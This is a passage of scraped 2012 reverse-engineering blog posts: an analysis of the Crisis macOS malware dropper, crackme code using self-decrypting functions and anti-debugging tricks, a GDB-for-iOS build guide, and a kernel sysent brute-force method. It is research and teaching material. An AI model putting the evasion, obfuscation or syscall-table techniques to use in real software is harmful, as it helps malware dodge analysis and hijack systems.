library is found, another function will be used to solve its exported symbols such as open, lseek, close, chdir, mkdir, etc.\nThe find_symbol_from_libsystemB_SL function will return the pointer to the symbol that we are looking for. The same hash algorithm is used so once again we can use the same trick and dump libSystem.B.dyld symbols and quickly solve all symbols being solved by Crisis. I will include my lame \u0026amp; dirty IDC scripts at GitHub repo for this analysis.\nAfter solving all symbols that is interested at (symbol pointers will be stored in local variables), it will read the strings that are located at address 0x4000, which is the start of the __INIT_STUB segment. Some of the strings are HOME, Library, Preferences, and some format strings. They will be used to get the $HOME environment variable and unpack the next code and data payloads to $HOME/Library/Preferences/jlc3V7we.app/ folder. The code responsible for the unpacking starts at 0x5683.\nWhat happens here is that a series of Mach-O binaries are embedded into the dropper. The unpacking code will read it and write the data to that folder. This is the main reason why I wrote the ExtractMachO IDA plugin, which you can found here (original post here). The list of the files and their location inside the dropper is the following:\nFILENAME LOCATION DESCRIPTION IZsROY7X.-MP 0x05977 Main backdoor module eiYNz1gd.Cfp 0x67ad7 data file, configuration? WeP1xpBU.wA- 0x684bf rootkit, 32bits 6EaqyFfo.zIK 0x6be43 rootkit, 64bits lUnsA3Ci.Bz7 0x70b2b fat binary, bundle mWgpX-al.8Vq 0xe26eb fat binary q45tyh 0xf0557 TIFF file After unpacking all the code and data, it will fork and execute the main backdoor module, IZsROY7X.-MP. The original entrypoint at __TEXT segment will be called, which does nothing and just exits. The analysis of the backdoor module will be done in another post.\nTo recap the main interesting points from the dropper:\nUses int80 trick to use system calls. Searches for dyld address exploiting the fact that it’s located at a rather easy to find location, and then searches __LINKEDIT for interesting symbols. Searches its loaded images for libSystemB.dylib and solves interesting symbols from there, using a simple hashing algorithm to match the symbols. All payloads are contained in the dropper itself and are unpacked into a $HOME/Library/Preferences folder. And that’s it for the dropper. It’s cute and I had some fun analyzing it – it looks like I wrote it. The scripts are uploaded to https://github.com/gdbinit/Crisis-Analysis-Tools and also a small tool to hash the exported symbols from a binary or library (its output will be used by the scripts).\nEnjoy,\nfG!\nUpdate:\nContagio dump has released samples of Crisis. Grab’em here.\n","permalink":"https://reverse.put.as/2012/08/06/tales-from-crisis-chapter-1-the-droppers-box-of-tricks/","summary":"Mac malware is back to news spotlight, this time with Crisis (insert one of the other thousand names here _____). This malware is nothing more than commercial spy software being sold by a lot of money to governments or something (oh boy, I could make a good living out of this).\nI’m lucky enough to have a sample of it (thank you, you know who you are!) and also lucky to be able to talk about it (it uses some similar tricks that I knew about).","title":"Tales from Crisis, Chapter 1: The dropper’s box of tricks"},{"content":"This is an IDA plugin to extract Mach-O binaries located in IDA disassembly, either code or data segments. For now it only supports 32 or 64 isolated binaries and not fat binaries. It also expects a normal formatted binary, not something mangled as my crackme for example. I expect to add support for fat binaries soon.\nWhy did I created this plugin? Everyone is talking about the latest OS X malware, Crisis (or whatever other name everyone is using – AV scene is so lame that no one respects the first name given, blah!).\nI started reversing the dropper binary for Crisis and found a Mach-O binary at the code section. So I decided to write a plugin to extract it.\nTo use it you need to locate the cursor at the Mach-O magic value (0xFEEDFACE or 0xFEEDFACF) and run the plugin. I might change this in a future release and ask for the start address.\nThe project is located at Github, https://github.com/gdbinit/ExtractMachO.\nAny bugs, bla bla bla, leave a msg, email, or a bug report.\nHopefully some posts about Crisis soon.\nEnjoy,\nfG!\nUpdate: v1.0 now searches and extracts all valid Mach-O files it can find, fat and non-fat!\n","permalink":"https://reverse.put.as/2012/07/30/extractmacho-an-ida-plugin-to-extract-mach-o-binaries-from-disassembly/","summary":"This is an IDA plugin to extract Mach-O binaries located in IDA disassembly, either code or data segments. For now it only supports 32 or 64 isolated binaries and not fat binaries. It also expects a normal formatted binary, not something mangled as my crackme for example. I expect to add support for fat binaries soon.\nWhy did I created this plugin? Everyone is talking about the latest OS X malware, Crisis (or whatever other name everyone is using – AV scene is so lame that no one respects the first name given, blah!","title":"ExtractMachO: an IDA plugin to extract Mach-O binaries from disassembly"},{"content":"After more than 30h inside planes and airports, I’m finally back home! Asia 2012 tour is over.\nHITCON was really great and well organized. It was bigger than I expected, with lots of curious and cool people. Went in the mood and took many pictures with everyone – there goes my anonymity!\nMy speaking slot was after lunch, which is a tough one. I could only spot half a dozen sleeping so I might have done a good job. Presentation could have been better but I had no time to practice it – sorry.\nTaipei is a nice city and I enjoyed trying all kinds of food and travelling around (I especially loved the Shilin Night Market!).\nHad great discussions with Andrey from Elcomsoft, Ryan from Microsoft, Fyodor, William from Nexusguard, Brad and his brother from Verisign and so many others. I wasn’t a great fan of conferences but they are really a good place to meet new people and have interesting discussions (no ego trips, no rockstars).\nI definitely recommend HITCON and I hope my contribution helped it to get even better and keep growing. Their hard work deserves it. Thank you to everyone who made the conference possible.\nAs most probably know now, my presentation was about Mac OS malware, introducing a new PoC infector using an easy to implement code injection technique. I’m still not sure if I will release the code for the infector and library. What I’m releasing is the code for the utility I used to calculate the available free space for potential code injection. It’s available at Github here. I named it calcspace.\nThe presentation slides are available here.\nBtw, you should definitely do a chown -R root:root /Applications, especially if you have any helper binaries installed with your normal user permissions. That half zero day is really stupid and must be fixed.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/07/27/hitcon-2012-review-and-slides/","summary":"After more than 30h inside planes and airports, I’m finally back home! Asia 2012 tour is over.\nHITCON was really great and well organized. It was bigger than I expected, with lots of curious and cool people. Went in the mood and took many pictures with everyone – there goes my anonymity!\nMy speaking slot was after lunch, which is a tough one. I could only spot half a dozen sleeping so I might have done a good job.","title":"HITCON 2012 Review and slides"},{"content":"After 27h flying around the world and hanging at airports I’m finally back home.\nSecuinside 2012 in Seoul was fantastic! The organization was really great and most of all, exceptionally friendly and awesome hosts. There are minor details to work at for next year but these guys had a very short time frame to organize this one. Lots of hard work behind it!\nThey definitely have the talent required to take it to the next step. You should start considering putting this one in your agenda. There’s a lot of talent and good things being done in Korea that aren’t being exported to the world, so you need to be there and talk to the people. Korean companies should think about this and start by having websites with English versions. From what I saw I have a feeling they have some very interesting products, especially in the mobile arena!\nI really enjoyed meeting so many interesting people and I hope my presentation was useful, even with my rookie mistake with the simultaneous translation (live \u0026amp; learn!).\nI can’t thank enough to Ryan, beist and everyone else from the organization for all their hard work and for being such great hosts. Definitely worth the damn long trips!\nShouts to Stephen, Yusuke, Takayuki, the German CTF team (beer!!!!), Murat, Zhang XunDi, and everyone else who I talked to (apologize my crappy names-related memory, I need to continue training!).\nAs promised, you can find the presentation at the end of the post. I am thinking about transforming it in a white-paper or maybe a mini-book. Let’s see if it’s possible. The slides are already detailed – I wanted them to be used as reference for anyone moving to OS X reversing.\nSee you in a couple of days in Taiwan! Good thing that I easily adapt to jet lag.\nHave fun, fG!\nSecuinside 2012 Presentation.pdf\n","permalink":"https://reverse.put.as/2012/07/13/secuinside-2012-review-and-slides/","summary":"After 27h flying around the world and hanging at airports I’m finally back home.\nSecuinside 2012 in Seoul was fantastic! The organization was really great and most of all, exceptionally friendly and awesome hosts. There are minor details to work at for next year but these guys had a very short time frame to organize this one. Lots of hard work behind it!\nThey definitely have the talent required to take it to the next step.","title":"Secuinside 2012 Review and Slides"},{"content":"I will be presenting in Taiwan at HiTCON, and in Seoul at Secuinside. If you are there, come and say hi! I don’t bite.\nThe HiTCON presentation will be focused on OS X malware and Secuinside about starting reversing adventures in OS X/iOS. While slides shouldn’t be the presentation main focus, I’m trying to make them usable for everyone outside the conferences. It’s not an easy task and the introduction to reversing is revealing itself much harder than I thought. Some knowledge is not easy to codify.\nLet’s see how this goes. I hope both presentations have interesting content and you don’t fall asleep. I’m doing my best, I hate boring presentations!\nSee you!\nfG!\n","permalink":"https://reverse.put.as/2012/06/25/see-you-in-asia/","summary":"I will be presenting in Taiwan at HiTCON, and in Seoul at Secuinside. If you are there, come and say hi! I don’t bite.\nThe HiTCON presentation will be focused on OS X malware and Secuinside about starting reversing adventures in OS X/iOS. While slides shouldn’t be the presentation main focus, I’m trying to make them usable for everyone outside the conferences. It’s not an easy task and the introduction to reversing is revealing itself much harder than I thought.","title":"See you in Asia!"},{"content":"This is a cracking and keygen tutorial by the reader qwertyoruiop. He’s having fun doing the crackmes and I asked him to write tutorials about them and he did it! So here it is the first in full glory.\nThings been quiet around here but busy in real life. I wanted to write a few posts about OS X malware but I’m going to present at a conference in July on that topic (hopefully something interesting!). I will post the slides and tools after the conference.\nEnjoy the tutorial. Great work qwertyoruiop, keep’em coming!\nfG!\nSandwich_crackme_tut_qwertyoruiop.txt\n","permalink":"https://reverse.put.as/2012/06/04/sandwich-crackme-tutorial-by-qwertyoruiop/","summary":"This is a cracking and keygen tutorial by the reader qwertyoruiop. He’s having fun doing the crackmes and I asked him to write tutorials about them and he did it! So here it is the first in full glory.\nThings been quiet around here but busy in real life. I wanted to write a few posts about OS X malware but I’m going to present at a conference in July on that topic (hopefully something interesting!","title":"\"Sandwich\" CrackMe tutorial by qwertyoruiop"},{"content":"I have a passion for the Human brain and Human behavior and I love to experiment with anything. My birthday is near so it’s a good time to go forward with this idea.\nThe starting point is that this blog is absolutely non-profit oriented and that status will remain forever – no banners, no donations, etc. I do it purely for fun, pleasure and knowledge improvement, altough it generates positive externalities (aka work!).\nI am curious to observe what would be the result of sort of asking something in return (sort of what is the value for you). I love books (physical ones!) and that is what I am asking for. My initial idea was to create an Amazon wish list. This doesn’t work because it will disclose my shipping address. The solution that seems to work without major problems is an Amazon gift certificate – an email address and that’s it.\nSo what kind of amounts are we talking about? I have a very positive experience with the Amazon Marketplace and second-hand books. The descriptions are very accurate and I purchased books as new for awesome prices. As a reference point the total cost of each book I get is around €8 to €12 ($10 to $15, £6.5 to £10, including shipping (usually the significant cost!). I usually purchase from Amazon.com or Amazon.co.uk (gift certificates can’t be exchanged between different countries). The email address for this experiment is amazonexperience at put.as.\nLet’s see how this works out. The only risk you have is if it’s a success and I get a ton of new books. Then I will have to dedicate more time to read them and less time to publish stuff! Hey, life is risky 😉.\nfG!\n","permalink":"https://reverse.put.as/2012/04/16/a-little-social-and-economics-experiment/","summary":"I have a passion for the Human brain and Human behavior and I love to experiment with anything. My birthday is near so it’s a good time to go forward with this idea.\nThe starting point is that this blog is absolutely non-profit oriented and that status will remain forever – no banners, no donations, etc. I do it purely for fun, pleasure and knowledge improvement, altough it generates positive externalities (aka work!","title":"A little social and economics experiment"},{"content":"One obstacle that I faced long time ago and came again into spotlight is how to recompile GDB for iOS. It is not useful to fix the ARM disassembler and then not be able to compile. As far as I know there isn’t any documentation available or an easy method to accomplish this – Saurik’s build environment is not public (?) and Apple sources do not compile directly. Darwinbuild project works great for OS X but it’s a question mark for iOS.\nDarwinbuild it is! After some failed hacking last Friday (progress was great and it was near completation), I decided to try to fix the loose end today. Success was finally achieved.\nThis post contains almost all the information that you need to recompile GDB yourself. There is something that you will need to complete by trial \u0026amp; error. Let’s start the fun!\nThe reference post on darwinbuild usage is this one, written by yours truly. You should follow it and modify accordingly with the information provided here. My OS X version is still Snow Leopard but you should have no problems with Lion.\nThe image size should be 2GB, and you should use the build #10K540. When you execute the darwinxref edit command, use the following information:\nenvironment = { INSTALLED_PRODUCT_ASIDES = YES; MACOSX_DEPLOYMENT_TARGET = 10.6; NEXT_ROOT = \u0026#34;\u0026#34;; RC_ARCHS = \u0026#34;armv7 armv6\u0026#34;; RC_JASPER = YES; RC_NONARCH_CFLAGS = \u0026#34;-pipe\u0026#34;; RC_OS = macos; RC_PRIVATE = /private; RC_RELEASE = SnowLeopard; RC_TARGET_CONFIG = iphoneos; RC_XBS = YES; SEPARATE_STRIP = YES; UNAME_RELEASE = 10.0; UNAME_SYSNAME = Darwin; }; Word of caution: be careful with copy \u0026amp; pasting this because of the “” (if you get an error while saving from darwinxref edit).\nThe next step is to edit the darwinbuild database. It’s located at .build/xref.db, inside the Build10K540 folder you should be located at. You need to change the GDB version to the latest one, 1708 instead of 1344. Execute the following SQL statement to verify it:\nselect * from properties where project=\u0026#34;gdb\u0026#34; and property=\u0026#34;version\u0026#34;; and then update the field:\nupdate properties set value=\u0026#34;1708\u0026#34; where project=\u0026#34;gdb\u0026#34; and property=\u0026#34;version\u0026#34;; Start compilation with darwinbuild -nochroot gdb. Version 1708 will be downloaded. When configuration/compilation starts, abort it with Ctrl-c.\nYou will need to create a link (there is probably a more elegant solution to this!). Go to the usr/lib folder inside the iOS SDK. There you need to make a link from crt1.10.6.o to crt1.o. Small example from my system:\nlrwxr-xr-x 1 root wheel 6 Apr 14 04:12 /Developer4/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/lib/crt1.10.6.o -\u0026gt; crt1.o -rw-r–r– 1 root wheel 2720 Aug 30 2011 /Developer4/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/lib/crt1.3.1.o -rw-r–r– 1 root wheel 4584 Aug 30 2011 /Developer4/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/lib/crt1.o Next step is to modify the file BuildRoot/SourceCache/gdb/gdb-1708/src/gdb/macosx/macosx.defs. Here you need to replace the import for exc.defs. Change:\n#import to:\n#import \u0026#34;/Developer4/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/include/mach/exc.defs\u0026#34; (modify your path accordingly)\nLast step for now is to modify the Makefile. We need to modify it so the ARM cross-compiling tools are used. It’s located at BuildRoot/SourceCache/gdb/gdb-1708/Makefile. To make it easier, you have my Makefile as a reference (all files at the end). I left the places that you need to modify tagged with FIXME. Your task is to change the paths.\nNow you are ready to compile and start the trial and error process. This time, compile with darwinbuild -nochroot -nosource gdb. This will not unpack again the source package and will keep our previous changes.\nThe compilation process will start and hopefully you will observe lots of output, which is a good sign! Near completation, errors regarding missing includes will start to appear. Your task is to manually copy them from OS X /usr/include to the iOS SDK usr/include folder (in my case /Developer4/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/include/). The only modifications that you will need to do are to edit some files and change the import location to relative paths (or absolute if you prefer). Not elegant, but it works! When you reach the missing architecture includes, you can use the ones from i386. Sorry for not having a complete file list – I was hacking this without great hope that it would work heheheh.\nAnd that’s it! After you fix the missing includes and defs, the compile should successfully finish and you have your shiny recompiled GDB. You can also apply my gdb patches (recommended!). Before starting to compile everything, just go to the SourceCache folder, apply the patch and compile.\nFollow the steps from the reference post to copy the compiled binary, apply the necessary entitlements (reference), upload to your device and enjoy.\nIf you don’t feel adventurous enough then I include a fat binary (armv6 and armv7) with my patches. You just need to add the entitlements. Pancake (from Radare) created a package for this version. Add http://cydia.radare.org to your repo list and install it from there. Thanks to pancake for his work.\nAny question or problem you run into leave a comment so everyone else can benefit from the (potential) solution.\nHave fun,\nfG!\nMakefile.gz\ngdb-arm-apple-darwin.gz\n-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SHA256(Makefile.gz)= 9aa69bc9b5a77a682c5bc74435440f26e839c0b216861f64a1af4f5a6432dfaf SHA256(gdb-arm-apple-darwin.gz)= 7c3744c1be024a28c594c0ad90d75f0d187c5e53d9cb09d0183bba19b7415e6d -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.17 (Darwin) Comment: GPGTools - http://gpgtools.org iQEcBAEBAgAGBQJPkTVwAAoJEAADGo6F9Uj36RUIAJF5E3Ak7d/q6MR0tNPMIoKy /v9lEkt9bBr0QBo/GHj0bEkcVKp58Ft3y2yE14qkk7BpxHYGalvzTLNGy9uk3TRL xprJpwKxttpms14+N+tNKBEKu3g5iItMbyWiip60UWbhYMlmXpKQFOMxJeHQIYLy 88KlbqEfiztil4UY04q/CUjxFfV38lvQCosgjDJ2XHHMrsJNvxfLslEkMTxOrbS5 C64TNQ3lj7SWvVBgAQ9OkjrWqNcPJyULth9ScKEixhWNHzcjZmIxP9+9PmrfviAn rckSlEVhNDtOf9tsDfBaMM2STmPG5unuhaMR2vda+VVAtNOHZ+KO1MY6k6y+Zfk= =jUdm -----END PGP SIGNATURE----- Update: List of added/modified include files.\n./_locale.h ./libproc.h ./mach/arm/machine_types.defs ./mach/exc.defs ./mach/mach_types.defs ./mach/mach_vm.h ./mach/machine/machine_types.defs ./mach/machine/thread_state.h ./mach/std_types.defs ./ncurses_dll.h ./net/route.h ./sgtty.h ./sys/dir.h ./sys/ioctl_compat.h ./sys/kern_control.h ./sys/proc_info.h ./sys/ptrace.h ./sys/ttychars.h ./sys/ttydev.h ./termcap.h ","permalink":"https://reverse.put.as/2012/04/16/how-to-compile-gdb-for-ios/","summary":"One obstacle that I faced long time ago and came again into spotlight is how to recompile GDB for iOS. It is not useful to fix the ARM disassembler and then not be able to compile. As far as I know there isn’t any documentation available or an easy method to accomplish this – Saurik’s build environment is not public (?) and Apple sources do not compile directly. Darwinbuild project works great for OS X but it’s a question mark for iOS.","title":"How to compile GDB for iOS!"},{"content":"Here it is, a merge between the x86 and ARM versions of gdbinit. The only inconvenience is that you need to manually change the target, using the 32bits and 64bits commands for x86/x86_64 architectures, and arm for ARM. That’s a small price to pay for.\nThis version features a lot of cosmetic fixes (indentation mostly) but also some fixes to the ARM related code, and a new command – dumpmacho. This command will dump the Mach-O header to a file. You need to supply the start address and the output filename. Only the header information is dumped – sometimes I need to dump the header and load it into otool or machoview to verify some things. Just a command to automate things!\nThe next step is to try to compile a new iOS GDB version that features my fixes. I think I will do another attempt to add the armv7 instructions to GDB so it’s not a major pain to debug these binaries. Let’s see if I can succeed this time.\nThere’s no test suite for gdbinit ( testing is for chumps)! From my tests everything is working, if not leave a msg here or at github.\nEnjoy,\nfG!\ngdbinit8.gz\nSHA256(gdbinit)= fb510d812dabbad968e68ad1e4916aa85400d6375e0e404f5893946151420238\n","permalink":"https://reverse.put.as/2012/04/13/gdbinit-v8-0-simultaneous-support-for-x86x86_64-and-arm-architectures/","summary":"Here it is, a merge between the x86 and ARM versions of gdbinit. The only inconvenience is that you need to manually change the target, using the 32bits and 64bits commands for x86/x86_64 architectures, and arm for ARM. That’s a small price to pay for.\nThis version features a lot of cosmetic fixes (indentation mostly) but also some fixes to the ARM related code, and a new command – dumpmacho. This command will dump the Mach-O header to a file.","title":"gdbinit v8.0: simultaneous support for x86/x86_64 and ARM architectures!"},{"content":"The title of this post is a partial rip-off of Dynamic Code Encryption as an Anti Dump and Anti Reverse Engineering measure blogpost. Alexey describes a technique similar to the one I used in my crackme, which isn’t altogether that new. His post is a good introduction to some possible attack vectors and what is at stake. You should give it a look.\nThe crackme uses a multi-layer dynamic code encryption approach, with two different encryption algorithms (Rabbit and Salsa). The objective was to avoid an easy memory dump of all the code and also as anti-debugging. I decided not to obfuscate the algorithms, except removing some obvious web-searchable stuff, because that wasn’t the crackme objective. Also one of the algorithms was right away exposed – necessary to do the first stage decryption. The \u0026ldquo;trustable\u0026rdquo; XOR could have been used for adding another stage of obfuscation, but still not the point.\nWhile I was thinking in a way to store the decryption information and searching around, I came up with this interesting post at Root Labs blog. It is a cute idea to help against breakpoints and patching and it fit nicely into what I had in mind. In this case, the encryption/decryption key is composed by the SHA256 checksum of the function to be protected, to which is added a 128 bit salt value, and then generated the final SHA256, which is the key. The salt values are stored into the four hardware registers. Just a very simple and fast way to try to deter hardware breakpoints. All this work is done by an external binary, the protector, against the compiled but still not crypted crackme.\nThe last piece of the puzzle is the storage of the decryption information, where to decrypt and its size. Alexey suggests some markers at the start and end of the function. My solution was to store that information inside the function that will decrypt the next stage into a fake piece of code that would desync IDA disassembly (a very basic fake jump), together with a marker to find it. This could be located anywhere in the function and found by a simple loop inserted into every function. The system function mach_vm_protect() is used to make the code section writable and then back to the original protection, and it’s simply obfuscated using a function pointer and XORed strings.\nI think I’m not missing any big detail. The best way to explain it is to show a piece of the code. It’s huge and not exactly the most beautiful piece of code.\n/* * the debug loop, we decrypt and encrypt the exception handler and the * function that deals with the exceptions */ void debug_loop(void) { #if DEBUG printf(\u0026#34;***************************\\n\u0026#34;); printf(\u0026#34;[DEBUG] Started debug loop!\\n\u0026#34;); printf(\u0026#34;***************************\\n\u0026#34;); #endif JUNK_CODE1; uint32_t search; asm(\u0026#34;.att_syntax prefix\u0026#34;); asm __volatile__(\u0026#34;nop\\n\\t\u0026#34; \u0026#34;call 1f\\n\\t\u0026#34; // E8 00 00 00 00 \u0026#34;1:\\n\\t\u0026#34; \u0026#34;pop %%eax\\n\\t\u0026#34; // 58 \u0026#34;mov %%eax, %0\u0026#34; // 89 C3 : \u0026#34;=r\u0026#34; (search) : :\u0026#34;eax\u0026#34;); asm(\u0026#34;.att_syntax prefix\u0026#34;); #if DEBUG printf(\u0026#34;Search is %x %x\\n\u0026#34;, search, *(uint32_t*)(search+5)); #endif EVIL_ASM5; uint8_t iv[8] = \u0026#34;hackersz\u0026#34;; mach_vm_address_t addr = 0; uint32_t protectSize = 0; uint32_t functionSize = 0; uint32_t functionBegin = 0; volatile uint16_t xorKey = 0x4569; for (uint32_t i = search; i \u0026lt; search + 0x2000; i++) { if ((*(uint16_t*)i ^xorKey) == 0x745D) // 0x3134 { addr = *(uint32_t*)(i+4); protectSize = *(uint32_t*)(i+8); functionSize = *(uint32_t*)(i+12); #if DEBUG printf(\u0026#34;[DEBUG] Found exception_handler decrypting info at %x . Address:%x Size:%x Function Size:%x!\\n\u0026#34;, i, *(uint32_t*)(i+4), *(uint32_t*)(i+8),*(uint32_t*)(i+12)); #endif break; } } xorKey = 0x1233; for (uint32_t i = search; i \u0026gt; 0x1000; i--) { if ((*(uint16_t*)i ^ xorKey) == 0xF7BA) // 0xe589 { functionBegin = i - 1; #if DEBUG printf(\u0026#34;[DEBUG] Found debug_loop() beginning at %x\\n\u0026#34;, functionBegin); #endif break; } } kern_return_t (*mymach_vm_protect)(vm_map_t target_task,mach_vm_address_t address,mach_vm_size_t size, boolean_t set_maximum,vm_prot_t new_protection); volatile uint8_t vmprotectsymbol[] = {0x2e,0x22,0x20,0x2b,0x1c,0x35,0x2e,0x1c,0x33,0x31,0x2c,0x37,0x26,0x20,0x37,0x43}; DECRYPT_STRING(16, vmprotectsymbol, 0x43); mymach_vm_protect = DLSYM_GET(vmprotectsymbol); while (1) { // decrypt exception handler // build the key uint8_t key[32]; EVIL_ASM3; sha2((uint8_t*)functionBegin, functionSize, key, 0); // build the salt array uint32_t salt[4]; x86_debug_state32_t debug; mach_msg_type_number_t\tcount; thread_state_flavor_t flavor; flavor = x86_DEBUG_STATE32; count = x86_DEBUG_STATE32_COUNT; thread_act_port_array_t thread_list; mach_msg_type_number_t thread_count; kern_return_t (*mytask_threads)(task_t target_task,thread_act_array_t *act_list,mach_msg_type_number_t *act_listCnt); volatile uint8_t taskthreadssymbol[] = {0x20,0x35,0x27,0x3f,0x0b,0x20,0x3c,0x26,0x31,0x35,0x30,0x27,0x54}; DECRYPT_STRING(13,taskthreadssymbol,0x54); mytask_threads = DLSYM_GET(taskthreadssymbol); (*mytask_threads)(mach_task_self(), \u0026amp;thread_list, \u0026amp;thread_count); kern_return_t (*mythread_get_state)(thread_act_t target_act,thread_state_flavor_t flavor,thread_state_t old_state, mach_msg_type_number_t *old_stateCnt); volatile uint8_t threadgetstatesymbol[] = {0x37,0x2b,0x31,0x26,0x22,0x27,0x1c,0x24,0x26,0x37,0x1c,0x30,0x37,0x22,0x37,0x26,0x43}; DECRYPT_STRING(17,threadgetstatesymbol,0x43); mythread_get_state = DLSYM_GET(threadgetstatesymbol); (*mythread_get_state)(thread_list[0], flavor, (thread_state_t)\u0026amp;debug, \u0026amp;count); salt[0] = debug.__dr0; salt[1] = debug.__dr1; salt[2] = debug.__dr2; salt[3] = debug.__dr3; uint8_t *tempKey = malloc(sizeof(salt) + sizeof(key)); memcpy(tempKey, key, sizeof(key)); memcpy(tempKey+sizeof(key), salt, sizeof(salt)); // compute the final salted key sha2((uint8_t*)tempKey, sizeof(salt) + sizeof(key), key, 0); free(tempKey); EVIL_ASM5; // and now we can finally decrypt // modify memory protection so we can decrypt and write kern_return_t kr; #if DEBUG printf(\u0026#34;[DEBUG] Starting to decrypt exception_handler...\\n\u0026#34;); #endif kr = (*mymach_vm_protect)(mach_task_self(), (mach_vm_address_t)addr, (mach_vm_size_t)protectSize, FALSE, WRITEPROTECTION); #if DEBUG EXIT_ON_MACH_ERROR(\u0026#34;Failurex\u0026#34;, 1); #endif // start decryption, the input buffer is the same as the output buffer SALSA_ctx ctx; SALSA_keysetup(\u0026amp;ctx, key, 256, 64); SALSA_ivsetup(\u0026amp;ctx, iv); SALSA_decrypt_bytes(\u0026amp;ctx, (uint8_t*)addr, (uint8_t*)addr, protectSize); EVIL_ASM1; // restore original memory permissions kr = (*mymach_vm_protect)(mach_task_self(), (mach_vm_address_t)addr, (mach_vm_size_t)protectSize, FALSE, READPROTECTION); #if DEBUG EXIT_ON_MACH_ERROR(\u0026#34;Failure\u0026#34;, 1); printf(\u0026#34;[DEBUG] End exception_handler decrypt\\n\u0026#34;); printf(\u0026#34;[DEBUG] Calling exception handler...\\n\u0026#34;); #endif exception_handler(); // crypt exception handler? #if DEBUG printf(\u0026#34;[DEBUG] Starting to encrypt exception_handler...\\n\u0026#34;); #endif kr = (*mymach_vm_protect)(mach_task_self(), (mach_vm_address_t)addr, (mach_vm_size_t)protectSize, FALSE, WRITEPROTECTION); #if DEBUG EXIT_ON_MACH_ERROR(\u0026#34;Failurex\u0026#34;, 1); #endif SALSA_keysetup(\u0026amp;ctx, key, 256, 64); SALSA_ivsetup(\u0026amp;ctx, iv); EVIL_ASM2; SALSA_encrypt_bytes(\u0026amp;ctx, (uint8_t*)addr, (uint8_t*)addr, protectSize); // restore original memory permissions kr = (*mymach_vm_protect)(mach_task_self(), (mach_vm_address_t)addr, (mach_vm_size_t)protectSize, FALSE, READPROTECTION); #if DEBUG EXIT_ON_MACH_ERROR(\u0026#34;Failure\u0026#34;, 1); printf(\u0026#34;[DEBUG] End exception_handler encrypt\\n\u0026#34;); printf(\u0026#34;[DEBUG] Return from exception handler...\\n\u0026#34;); #endif // the tail that will hold our decryption data asm(\u0026#34;.intel_syntax noprefix\u0026#34;); asm __volatile__ (\u0026#34;xor edx, edx\\n\\t\u0026#34; //31d2 \u0026#34;test edx, edx\\n\\t\u0026#34; // 85d2 \u0026#34;jz 1f\\n\\t\u0026#34; // 7416 // \u0026#34;jmp 1f\\n\\t\u0026#34; \u0026#34;.byte 0x00\\n\\t\u0026#34; \u0026#34;.long 0x0064a990\\n\\t\u0026#34; \u0026#34;.long 0x00003134\\n\\t\u0026#34; \u0026#34;.long 0x00000000\\n\\t\u0026#34; // address \u0026#34;.long 0x00000000\\n\\t\u0026#34; // size \u0026#34;.long 0x00000000\\n\\t\u0026#34; // function size \u0026#34;1:\\n\\t\u0026#34;); asm(\u0026#34;.att_syntax prefix\u0026#34;); } } You can find a text file with the same code here.\nSo what was the objective of all this? Besides trying to hide the other tricks that I really wanted to show, it also demonstrates how easy is to raise the barrier in OS X, both for malware and legit software protection. It’s not exactly rocket science! The crackme and tools took like 3 weeks time to write, and could be vastly improved by fixing some of the assumptions and if the target was something else than a crackme, where you have a single, well defined objective.\nI have a feeling this post quality is somewhat mehhhh! Been too busy with Xcode in real-life projects and writing inspiration has been low. Sometimes one must pass the initial barrier, write something and then comeback later to fix it. Feel free to leave comments to clear doubts \u0026amp; questions!\nThe crackme also uses code from PolarSSL libraries. Salsa and Rabbit are from Ecrypt Project.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/03/17/dynamic-code-encryption-in-os-x-the-crackme-example/","summary":"The title of this post is a partial rip-off of Dynamic Code Encryption as an Anti Dump and Anti Reverse Engineering measure blogpost. Alexey describes a technique similar to the one I used in my crackme, which isn’t altogether that new. His post is a good introduction to some possible attack vectors and what is at stake. You should give it a look.\nThe crackme uses a multi-layer dynamic code encryption approach, with two different encryption algorithms (Rabbit and Salsa).","title":"Dynamic Code Encryption in OS X: the crackme example!"},{"content":"I love to read about the Human brain and yesterday I was feeling weird about this thing. As far as I know, everyone (publicly) was trying to search sysent in one way or another after Apple removed the sysent symbols but not bruteforcing it. It seems no one bothered to question the original method (Landon Fuller?) and just kept using it. Are there any historical reasons for this? I can’t remember any. Sometimes, we are just blind to the simple things and solutions and don’t question them. It’s very probable that someone already posed the same question about the known methods (this is not cold fusion :P). Let’s continue\u0026hellip;\nThis is a simple method to bruteforce 32 and 64 bit kernels (tested with Snow Leopard and Lion) and retrieve sysent address. The __DATA segment where the sysent symbol is located is around 250kbytes in size, which is pretty a small space to search. My first method required the kernel base address to be configured, which isn’t a great issue – historically, it is quite stable. Computers exist to automate tasks and @snare “complained” about hardcoding that address. I was trying to fix checkidt to 64 bit and the solution to overcome the hardcoded address just came to mind. The IDT can be used for this! Just retrieve the IDT address, then the address of interrupt 80 (or some other implemented interrupt handler) and you know where the kernel is loaded. Now it is just a matter of finding the start of the kernel Mach-O address, reading the __DATA segment to know its address and size, and then bruteforce search sysent array. This can be even easier if we just bruteforce beyond and before the int 80 handler – not a sexy approach, we want elegant bruteforcing.\nThe PoC code is for an userland util that retrieves the information through /dev/kmem. I did a kernel port, which works without any problems (it’s even easier to implement). On my Mac it takes 0m0.035s to find sysent (0m0.012s on a 64 bit Mac Mini server – thanks to Saure for all tests). That is very good for what should be a future-proof method to retrieve sysent. Unfortunately, hijacking sysent isn’t sexy anymore!\nIn other news, Snare finally created his own blog, available at http://ho.ax. He started with a nice article about kernel debugging in VMware, updating my old one. Good work!\nOf course this is competition so he should expect a very evil EFI rootkit one of these days with total destruction of his computer 😉. Give it a look while it lasts!\nWell, time to move forward to the next project. Ideas continue to abound\u0026hellip;\nIf you like to read and are looking for great books, I highly recommend \u0026ldquo;Thinking, Fast and Slow\u0026rdquo; by Daniel Kahneman, Dan Ariely’s two books, and \u0026ldquo;Being Wrong: Adventures in the Margin of Error\u0026rdquo; by Kathryn Schulz. The world 